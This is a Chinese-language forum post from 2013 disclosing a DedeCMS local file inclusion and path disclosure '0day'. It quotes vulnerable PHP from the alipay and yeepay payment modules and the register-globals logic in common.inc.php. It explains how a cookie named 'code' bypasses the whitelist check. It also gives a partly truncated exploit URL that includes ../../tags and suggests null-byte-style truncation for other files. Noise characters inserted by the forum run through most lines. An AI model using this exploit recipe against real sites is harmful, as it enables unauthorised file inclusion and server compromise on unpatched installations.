找回密码
 立即注册
查看: 2976|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)# m( r$ |5 c+ B+ ]+ U5 e

  h3 `: P8 u+ ^# N* |2 G* H3 K8 p5 V出现漏洞的两个文件为:
$ Z7 b3 p1 ]4 C. ?( ]Include/payment/alipay.php
# w8 S" h$ H9 W& ~  @8 uInclude/payment/yeepay.php5 d1 I) p$ p- f: t
漏洞均出现在respond方法里,估计这两个文件是临时工写的。& \5 U8 O3 o5 a6 h5 N$ O4 U
4 t" f( ~8 F  P( H
Include/payment/alipay.php& \' ]4 f* G  d" c

# u- b/ ]- Q, y+ E......0 {! J( y3 E% W  i
   function respond()9 P4 \+ M# F: T( h' H; k; r+ r
    {0 {6 e4 e& \; y8 [4 M8 T/ o
        if (!empty($_POST))$ {3 T& n. W5 O* f2 o
        {' Q, S  A5 ]' O" Y" Y* p0 c" v
            foreach($_POST as $key => $data)
! F, C& @0 p& z            {# s: [9 g& G4 r4 z' f1 [
                $_GET[$key] = $data;: [+ ?' [! ?$ q( I
            }* ~$ z1 \) Z( k& b
        }
' N5 @: `, K! ~& {        /* 引入配置文件 */" v2 I5 h  d5 v; W& `
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
+ h* O* C; I1 b5 d" P! W9 M......
( i1 v) x* Q7 t , }; k9 U; S+ [) k" ^
/ a5 a; \, c. Z+ M$ U9 W
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
& Q* O7 F& X8 K, n
  ~! }% m$ N6 l7 \! \9 \Include/payment/yeepay.php0 \: t5 B" s1 s' ]8 L* r2 z
" G3 w% ?; y. E" c- n: E

. u) c' p. }: _4 O. w$ n( S9 n5 C
/ z! H) [7 k9 N* r......
0 Q) u  c) @0 V3 i1 M2 V" o    function respond()* r% q7 w3 z: i! r, R
    {1 `& s" O* D8 I: f% p) @! q# g
3 L# {* w. w( G& k
        /* 引入配置文件 */  E0 G) U4 a, T& U* t
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
- C7 K2 |+ y5 p; ]$ I# S' @8 N% e ; ~, [" M4 S. N1 ~' S8 P
        $p1_MerId = trim($payment['yp_account']);/ X; a, w% b5 P
        $merchantKey = trim($payment['yp_key']);  N2 C# e# k1 V+ T! Q" X0 n
......
' Q; e7 P: i, A2 Q+ j 5 J% B: v1 S7 h9 O0 N& {& k! d$ z% a
8 m) {0 b  A- W7 H( z+ P

5 g$ D8 R! w4 w# y; l; |2 U' c) ]( X4 Q' b  |  T- a
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
% w0 [# J1 _: m( R. k5 V4 w( ?6 w4 C
这两个方法在plus/carbuyaction.php文件调用。/ E! C$ z6 B- }
0 Z0 V2 ?3 ?# H- @4 M/ U+ \
plus/carbuyaction.php
/ b0 A+ s( b8 j4 K! X" R2 C
7 K2 I; d  H8 h( Z. L......& x2 c" a" i9 M( f/ i0 b
} else if ($dopost == 'return') {
6 C6 ~, A. e# m3 [    $write_list = array('alipay', 'bank', 'cod', 'yeepay');, e" N: m* c! a& O
    if (in_array($code, $write_list))
" f1 w6 F  @; R! g1 i    {2 }" G; N9 |& S/ U$ I7 V
        require_once DEDEINC.'/payment/'.$code.'.php';
& K# Q: G) o9 Z' M: h        $pay = new $code;" M" s3 a- Y8 i  A! @
        $msg=$pay->respond();
# i6 D! q; B; U  f3 c        ShowMsg($msg, "javascript:;", 0, 3000);3 w* ~- c* ]8 W: B
        exit();  # F& D5 J+ B% F; e3 k+ j5 L" U
    } else {9 N' x  h0 X) P) {
        exit('Error:File Type Can\'t Recognized!');% z, ]. [0 @! k+ `( k0 H$ _
    }' I9 W5 T2 j) o3 z# p, o# b
}
* B9 ~0 R- d% M/ c; L5 F0 i/ `......
" C; y, e# H& U$ ~: b+ W& T( r + R3 q2 Q% c( z6 W

4 j5 i1 m' ?, {, C
0 ^4 ~' x' K; b. G# I0 z
) k' u" d% y+ R8 R% F4 W
/ x3 E. K% `3 w* I9 I; o$ t/ l( e. i# F  y, P, c
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
6 l: j+ Z4 U. A, y1 w$ c+ `4 J所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
  j! \. n% o6 F* @
9 d- N# S' P5 L回到include/common.inc.php来看看他的机制。, ^( U" O, p3 [8 x
6 [" n4 C# W  K

$ n3 U% R. {+ R$ Q2 o
" C) z7 n8 N% S! D# X......
0 V4 N5 b1 X3 lforeach(Array('_GET','_POST','_COOKIE') as $_request)' b+ U- u$ N, D5 Y/ }- h
{# D4 w) \" R9 d1 e* a# a) r2 B4 g, `
        foreach($$_request as $_k => $_v) 0 M; `7 \9 G/ v# A$ j' y
        {" ]9 h9 u6 f% w$ h7 J; i$ P" W
                if($_k == 'nvarname') ${$_k} = $_v;, R2 e% S" z$ \2 p2 F
                else ${$_k} = _RunMagicQuotes($_v);( b2 J1 u! A* Y- I9 N! w: h
        }. ]# o3 a. l! K7 \- ?
}  e( e: a# C8 t; O$ C+ @
......
: \* r; K8 W) E( c$ l, L大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
4 i; C+ N  z8 }' K) |# Q% o由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表